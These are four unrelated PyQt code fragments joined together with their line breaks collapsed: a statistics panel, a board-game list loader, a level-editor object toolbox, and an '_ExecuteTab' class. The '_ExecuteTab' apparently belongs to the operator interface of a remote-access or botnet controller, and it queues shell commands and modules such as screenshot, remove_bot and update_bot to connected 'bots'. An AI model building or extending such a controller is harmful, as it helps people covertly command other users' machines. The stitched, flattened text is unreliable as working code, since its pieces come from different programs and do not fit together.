class StatisticsPanel(QWidget): _MAX_STAT_ROW = 3 def __init__(self, parent: QWidget = None): super().__init__(parent) self.spinner = QtWaitingSpinner(parent=self, centerOnParent=True, disableParentWhenSpinning=True) self.spinner.setInnerRadius(15) self.layout = QGridLayout() self.layout.setHorizontalSpacing(2) self.layout.setVerticalSpacing(4) self.setLayout(self.layout) def setStatistics(self, stat: Dict[str, object]) -> None: item: QLayoutItem = self.layout.takeAt(0) while item: item.widget().deleteLater() self.layout.removeItem(item) item = self.layout.takeAt(0) r: int = 0 c: int = 0 for k, v in stat.items(): self.layout.addWidget(QLabel('{}:'.format(k), self), r, c, 1, 1, alignment=Qt.AlignLeft) self.layout.addWidget(QLabel('{}'.format(str(v)), self), r, c + 1, 1, 1, alignment=Qt.AlignLeft) r += 1 if r % StatisticsPanel._MAX_STAT_ROW == 0: self.layout.setColumnMinimumWidth(c + 2, 5) # separator c += 3 r = 0
def load_game_list(self, game_layout: QGridLayout): while game_layout.count(): child = game_layout.takeAt(0) if child.widget(): child.widget().deleteLater() games = self.all_displays all_entries = iter_entry_points('zero_play.game_display') filtered_entries = self.filter_games(all_entries) for game_entry in filtered_entries: display_class = game_entry.load() display: GameDisplay = display_class() self.destroyed.connect(display.close) display.game_ended.connect(self.on_game_ended) # type: ignore games.append(display) games.sort(key=attrgetter('start_state.game_name')) column_count = math.ceil(math.sqrt(len(games))) for i, display in enumerate(games): row = i // column_count column = i % column_count game_name = display.start_state.game_name game_button = QPushButton(game_name) game_button.setSizePolicy(QSizePolicy.Minimum, QSizePolicy.Minimum) # noinspection PyUnresolvedReferences game_button.clicked.connect(partial(self.show_game, display)) game_layout.addWidget(game_button, row, column) self.ui.history_game.addItem(game_name, userData=display) if display.rules_path is not None: game_rules_action = self.ui.menu_rules.addAction(game_name) game_rules_action.triggered.connect( partial(self.on_rules, display))
class _ExecuteTab(QTabWidget): """Tab used to execute modules or shell commands on the selected bot.""" def __init__(self, responses_tab, model): """ :type responses_tab: _ResponsesTab """ super(_ExecuteTab, self).__init__() self._model = model self._current_layout = None self._current_bot = None self._layout = QGridLayout() self._sub_layout = QVBoxLayout() self._module_view = ModuleView(responses_tab) self._layout.setAlignment(Qt.AlignTop) self.setLayout(self._layout) self.set_empty_layout() def set_current_bot(self, bot): """Sets the connected bot this tab will interact with. :type bot: Bot """ self._current_bot = bot def _clear_layout(self): while self._layout.count(): child = self._layout.takeAt(0) if child.widget(): child.widget().deleteLater() while self._sub_layout.count(): child = self._sub_layout.takeAt(0) if child.widget(): child.widget().deleteLater() def set_empty_layout(self): """Default layout shown when the user has not yet selected a row.""" self._current_layout = "Empty" self._clear_layout() self._layout.addWidget(QLabel("Please select a bot in the table above."), 0, 0) def set_module_layout(self, module_name="screenshot"): """Sets the layout which can execute modules. :type module_name: str """ self._current_layout = "Module" self._clear_layout() command_type_label = QLabel("Command type: ") command_type_combobox = QComboBox() command_type_combobox.addItem("Module") command_type_combobox.addItem("Shell") module_label = QLabel("Module name: ") module_combobox = QComboBox() for module_name in modules.get_names(): module_combobox.addItem(module_name) module_combobox.currentTextChanged.connect(self._on_module_change) command_type_combobox.currentTextChanged.connect(self._on_command_type_change) self._layout.setColumnStretch(1, 1) self._layout.addWidget(command_type_label, 0, 0) self._layout.addWidget(command_type_combobox, 0, 1) self._layout.addWidget(module_label, 1, 0) self._layout.addWidget(module_combobox, 1, 1) # Module layout cached_module = modules.get_module(module_name) if not cached_module: cached_module = modules.load_module(module_name, self._module_view, self._model) input_fields = [] for option_name in cached_module.get_setup_messages(): input_field = QLineEdit() self._sub_layout.addWidget(QLabel(option_name)) self._sub_layout.addWidget(input_field) input_fields.append(input_field) run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) run_button.pressed.connect(lambda: self._on_module_run(module_combobox.currentText(), input_fields)) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0) self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2) self._on_module_change(module_combobox.currentText()) def set_shell_layout(self): """Sets the layout which can execute shell commands.""" self._current_layout = "Shell" self._clear_layout() command_type_label = QLabel("Command type: ") command_type_combobox = QComboBox() command_type_combobox.addItem("Shell") command_type_combobox.addItem("Module") command_label = QLabel("Command:") command_input = QLineEdit() run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) command_type_combobox.currentTextChanged.connect(self._on_command_type_change) run_button.pressed.connect(lambda: self._on_command_run(command_input)) self._layout.addWidget(command_type_label, 0, 0) self._layout.addWidget(command_type_combobox, 0, 1) self._layout.addWidget(command_label, 1, 0) self._layout.addWidget(command_input, 1, 1) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0) self._layout.addLayout(self._sub_layout, self._layout.rowCount() + 2, 0, 1, 2) def _on_command_type_change(self, text): """Handles the command type combobox change event. :type text: str """ if text == "Module": self.set_module_layout() else: self.set_shell_layout() def _on_module_change(self, module_name): """Handles module combobox changes. :type module_name: str """ while self._sub_layout.count(): child = self._sub_layout.takeAt(0) if child.widget(): child.widget().deleteLater() cached_module = modules.get_module(module_name) if not cached_module: cached_module = modules.load_module(module_name, self._module_view, self._model) input_fields = [] for option_name in cached_module.get_setup_messages(): input_field = QLineEdit() input_fields.append(input_field) self._sub_layout.addWidget(QLabel(option_name)) self._sub_layout.addWidget(input_field) run_button = QPushButton("Run") run_button.setMaximumWidth(250) run_button.setMinimumHeight(25) run_button.pressed.connect(lambda: self._on_module_run(module_name, input_fields)) self._sub_layout.addWidget(QLabel("")) self._sub_layout.addWidget(run_button) self._sub_layout.setContentsMargins(0, 15, 0, 0) def display_info(self, text): """ :type text: str """ message_box = QMessageBox() message_box.setIcon(QMessageBox.Information) message_box.setWindowTitle("Information") message_box.setText(text) message_box.setStandardButtons(QMessageBox.Ok) message_box.exec_() def _on_module_run(self, module_name, input_fields): """Handles running modules. :type module_name: str :type input_fields: list """ set_options = [] for input_field in input_fields: set_options.append(input_field.text()) module = modules.get_module(module_name) if not module: module = modules.load_module(module_name, self._module_view, self._model) successful, options = module.setup(set_options) if successful: if module_name == "remove_bot": code = loaders.get_remove_code(self._current_bot.loader_name) elif module_name == "update_bot": code = loaders.get_update_code(self._current_bot.loader_name) else: code = modules.get_code(module_name) if not options: options = {} options["module_name"] = module_name self._model.add_command(self._current_bot.uid, Command( CommandType.MODULE, code, options )) self.display_info("Module added to the queue of:\n {}@{}".format( self._current_bot.username, self._current_bot.hostname) ) def _on_command_run(self, command_input): """Handles running commands. :type command_input: QLineEdit """ if command_input.text().strip() == "": return self._model.add_command(self._current_bot.uid, Command(CommandType.SHELL, command_input.text().encode())) command_input.clear() self.display_info("Command added to the queue of:\n {}@{}".format( self._current_bot.username, self._current_bot.hostname ))
class ObjectToolBox(QWidget): object_icon_clicked: SignalInstance = Signal(ObjectIcon) object_placed: SignalInstance = Signal(ObjectIcon) def __init__(self, parent: Optional[QWidget] = None): super(ObjectToolBox, self).__init__(parent) self.setSizePolicy(QSizePolicy.MinimumExpanding, QSizePolicy.MinimumExpanding) self._layout = QGridLayout(self) self._layout.setAlignment(Qt.AlignCenter) self._layout.setAlignment(Qt.AlignHCenter) def add_object(self, level_object: Union[EnemyItem, LevelObject], index: int = -1): icon = ObjectIcon(level_object) icon.clicked.connect(self._on_icon_clicked) icon.object_placed.connect(lambda: self.object_placed.emit(icon)) if index == -1: index = self._layout.count() self._layout.addWidget(icon, index // 2, index % 2) def add_from_object_set(self, object_set_index: int, graphic_set_index: int = -1): if graphic_set_index == -1: graphic_set_index = object_set_index factory = LevelObjectFactory(object_set_index, graphic_set_index, 0, [], vertical_level=False, size_minimal=True) object_ids = list(range(0x00, 0x10)) + list( range(0x10, MAX_ID_VALUE, 0x10)) for domain, obj_index in product(range(MAX_DOMAIN + 1), object_ids): level_object = factory.from_properties(domain=domain, object_index=obj_index, x=0, y=0, length=None, index=0) if not isinstance(level_object, LevelObject) or level_object.name in [ "MSG_NOTHING", "MSG_CRASH" ]: continue self.add_object(level_object) def add_from_enemy_set(self, object_set_index: int): factory = EnemyItemFactory(object_set_index, 0) for obj_index in range(MAX_ENEMY_ITEM_ID + 1): enemy_item = factory.from_properties(obj_index, x=0, y=0) if enemy_item.name in ["MSG_NOTHING", "MSG_CRASH"]: continue self.add_object(enemy_item) def clear(self): self._extract_objects() def _on_icon_clicked(self): self.object_icon_clicked.emit(self.sender()) @property def draw_background_color(self): return self._layout.itemAt(0).draw_background_color @draw_background_color.setter def draw_background_color(self, value): for index in range(self._layout.count()): self._layout.itemAt(index).draw_background_color = value def has_object(self, level_object): return self.index_of_object(level_object) != -1 def index_of_object(self, level_object): for index in range(self._layout.count()): if self._layout.itemAtPosition(index // 2, index % 2).widget().object == level_object: return index else: return -1 def _extract_objects(self): objects = [] while True: item = self._layout.takeAt(0) if item is None: break else: objects.append(item.widget().object) item.widget().deleteLater() return objects def place_at_front(self, level_object): objects = self._extract_objects() if level_object in objects: objects.remove(level_object) objects.insert(0, level_object) assert self._layout.count() == 0 for obj in objects: self.add_object(obj)